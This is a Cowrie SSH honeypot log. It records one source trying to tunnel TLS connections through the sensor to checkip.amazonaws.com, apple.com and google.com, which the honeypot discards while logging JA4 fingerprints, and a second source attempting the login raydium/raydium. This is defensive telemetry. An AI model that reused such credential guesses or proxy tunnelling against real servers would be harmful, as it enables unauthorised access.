{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.195.239.56","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.195.239.56:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:49.590189Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.195.239.56","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x039Az\\xf4\\x18 c\\xd5;}\\x97\\x0f\\xa5\\xbdn\\x07\\xf55Z\\xa6\\xf3\\xed f}Z\\x8a\\xa1\\x1b\\x9bN\\xa3 |\\x1b\\x81`\\xe9\\xf0\\x84&\\x8a/\\xffp0\\xe4)\\x82Ak#J\\xbf\\xea>-L\\x00\\xe1A\\xe9h\\xc1\\xb6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 0\\x1ayXy\\xd72C\\x06\\x12\\xf1%\\xd05EU\\x0f\\x8f\\x03\\xd0\\xf8OTb\\xd8\\t \\x0c\\xea@\\x88S\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.195.239.56:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x039Az\\xf4\\x18 c\\xd5;}\\x97\\x0f\\xa5\\xbdn\\x07\\xf55Z\\xa6\\xf3\\xed f}Z\\x8a\\xa1\\x1b\\x9bN\\xa3 |\\x1b\\x81`\\xe9\\xf0\\x84&\\x8a/\\xffp0\\xe4)\\x82Ak#J\\xbf\\xea>-L\\x00\\xe1A\\xe9h\\xc1\\xb6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 0\\x1ayXy\\xd72C\\x06\\x12\\xf1%\\xd05EU\\x0f\\x8f\\x03\\xd0\\xf8OTb\\xd8\\t \\x0c\\xea@\\x88S\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:49.593957Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.157.36","dst_port":443,"src_ip":"185.156.73.233","src_port":51778,"message":"direct-tcp connection request to 184.30.157.36:443 from 127.0.0.1:51778","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:50.360322Z","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.157.36","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.157.36:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:51.111541Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.157.36","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03)3E8\\x1d\\t\\xa6\\xec\\x0f\\x87X\\xf2X^\\xf5~\\xf4\\xf8{\\x86\\xf2\\xe8\\x966bL&k\\x99\\x13\\xf9 y\\xc6M1\\xba\\x13Gg\\xff\\x8b\\xc4\\xd8\\xae@\\xd9\\x90Df\\xb4c\\xd9E;\\xecw\\xf0\\x81\\xf5\\xce\\xca\\x1d\\x88\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 #\\x8f\\x8fcf\\xe4o@/\\xdaN\\xa2\\x03}iF\\t&j\\xa1\\xb9\\xb7\\r\\xc6\\xf6\\x16t)\\xfd\\x97\\xf7k\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.157.36:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03)3E8\\x1d\\t\\xa6\\xec\\x0f\\x87X\\xf2X^\\xf5~\\xf4\\xf8{\\x86\\xf2\\xe8\\x966bL&k\\x99\\x13\\xf9 y\\xc6M1\\xba\\x13Gg\\xff\\x8b\\xc4\\xd8\\xae@\\xd9\\x90Df\\xb4c\\xd9E;\\xecw\\xf0\\x81\\xf5\\xce\\xca\\x1d\\x88\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 #\\x8f\\x8fcf\\xe4o@/\\xdaN\\xa2\\x03}iF\\t&j\\xa1\\xb9\\xb7\\r\\xc6\\xf6\\x16t)\\xfd\\x97\\xf7k\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:51.115114Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.150.119","dst_port":443,"src_ip":"185.156.73.233","src_port":52950,"message":"direct-tcp connection request to 142.251.150.119:443 from 127.0.0.1:52950","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:51.671979Z","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.150.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.150.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:52.085051Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.150.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfbY\\xea^\\x02\\xaeO\\x9bX5\\xaa\\x89N\\x1aw\\x0e\\x93\\xe4\\xb4C\\xd9\\x80\\xf4\\xda\\t\\x8cT\\x15!\\x8d\\x87\\x0b >KH\\x06\\x03'\\xf2p+\\xc5\\xdb\\xc5\\xb5\\x1f\\xe1.\\xd5\\x9e\\xc8\\x13`\\x98\\xfe\\x92\\x1b.\\xdb\\x1d\\xdbh\\x85D\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe9\\xe3\\xe63\\x9b\\xe1\\x8f\\xc7\\x1d\\xcfK\\xcc\\x8b\\x00&\\xa1\\xbb\\xdc\\x02\\x86\\x01O\\x07,\\xbdH\\x81\\xe9\\x7f\\xfa6Q\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.150.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfbY\\xea^\\x02\\xaeO\\x9bX5\\xaa\\x89N\\x1aw\\x0e\\x93\\xe4\\xb4C\\xd9\\x80\\xf4\\xda\\t\\x8cT\\x15!\\x8d\\x87\\x0b >KH\\x06\\x03'\\xf2p+\\xc5\\xdb\\xc5\\xb5\\x1f\\xe1.\\xd5\\x9e\\xc8\\x13`\\x98\\xfe\\x92\\x1b.\\xdb\\x1d\\xdbh\\x85D\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe9\\xe3\\xe63\\x9b\\xe1\\x8f\\xc7\\x1d\\xcfK\\xcc\\x8b\\x00&\\xa1\\xbb\\xdc\\x02\\x86\\x01O\\x07,\\xbdH\\x81\\xe9\\x7f\\xfa6Q\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:52.088192Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:52.508858Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49432,"dst_ip":"159.203.135.109","dst_port":22,"session":"697d5a204c94","protocol":"ssh","message":"New connection: 195.178.110.218:49432 (159.203.135.109:22) [session: 697d5a204c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:58.634348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:58.639110Z","src_ip":"195.178.110.218","session":"697d5a204c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:58.724109Z","src_ip":"195.178.110.218","session":"697d5a204c94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:58.965317Z","src_ip":"195.178.110.218","session":"697d5a204c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:01:00.052104Z","src_ip":"195.178.110.218","session":"697d5a204c94","protocol":"ssh"}
